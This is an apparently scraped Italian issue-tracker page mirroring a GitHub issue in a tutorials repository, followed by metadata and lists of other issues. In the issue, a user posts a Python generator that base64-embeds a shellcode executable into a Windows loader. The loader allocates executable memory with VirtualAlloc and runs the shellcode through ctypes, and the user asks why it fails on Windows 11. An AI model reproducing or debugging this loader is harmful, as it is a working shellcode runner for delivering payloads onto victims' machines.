i need know why and how to do🥹
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 5/5
- Tempo stimato
- Più di una settimana
- Idoneità per principianti
- 15/100
- Tipo di issue
- Bug
- Chiarezza
- Da chiarire
- Stato di attività
- Ferma
- Stack tecnologico
- python
- Ambito
- operating-systems, security
Direzione di ricerca
Inizia con l’immagine dell’errore allegata e con il windows_script.py generato, quindi confronta il modo in cui lo script viene prodotto in Kali Linux con il modo in cui viene eseguito su Windows 11. Una risoluzione dovrebbe identificare il problema segnalato e definire l’ambiente di esecuzione supportato, ma l’issue non include testo dell’errore o contesto del progetto sufficienti per stabilire cosa significhi «done».
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
The code running in Kali linux
windows_script.py
with open('shellcode.exe', 'rb') as shellcode_file:
shellcode = shellcode_file.read()
import base64
encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')
with open('windows_script.py', 'w') as f:
f.write(f'''import base64
import ctypes
decoded_shellcode = base64.b64decode("{encoded_shellcode}")
kernel32 = ctypes.windll.kernel32
shellcode_buffer = kernel32.VirtualAlloc(
ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)
if not shellcode_buffer:
raise MemoryError("VirtualAlloc failed to allocate memory")
ctypes.memmove(ctypes.c_void_p(shellcode_buffer), decoded_shellcode, len(decoded_shellcode))
shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer)
shell_func()
''')
#The error result of the generated. py file running on Win11 is shown in the figure
- Lingua principale
- Python
- Stelle
- 284k
- Fork
- 36.3k
- Metriche di merge delle PR
- Nessuna PR unita negli ultimi 30g
Preparare l'ambiente
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di practical-tutorials/project-based-learning
-
Difficoltà 1/5 1-3 ore Idoneità per principianti 75/100
practical-tutorials/project-based-learning#888 · 3 commenti ·
-
Broken Link: Erlang -> "Making a Chat App with Erlang, Rebar, Cowboy and Bullet" leads to 404 errorAperta
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 64/100
practical-tutorials/project-based-learning#840 · 2 commenti ·
-
BOMOYIAperta
Difficoltà 5/5 Più di una settimana Idoneità per principianti 20/100
practical-tutorials/project-based-learning#937 · 1 commento ·
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 25/100
-
🔗 Link rot reportApertalink-rot
Difficoltà 4/5 3-5 giorni Idoneità per principianti 25/100
practical-tutorials/project-based-learning#899 · 1 commento ·
Tutte le issue di practical-tutorials/project-based-learning
Issue simili
-
documentation
Difficoltà 2/5 1-3 ore Idoneità per principianti 70/100
kristofdegrave/homeassistant-smart-charging#1413 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
nasa/earthdata-varinfo#113 ·
-
curriculum documentation quality
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
githubnext/gh-aw-workshop#3849 ·
I maintainer di solito rispondono entro 2 giorni
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 90/100
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 84/100
I maintainer di solito rispondono entro 1 giorno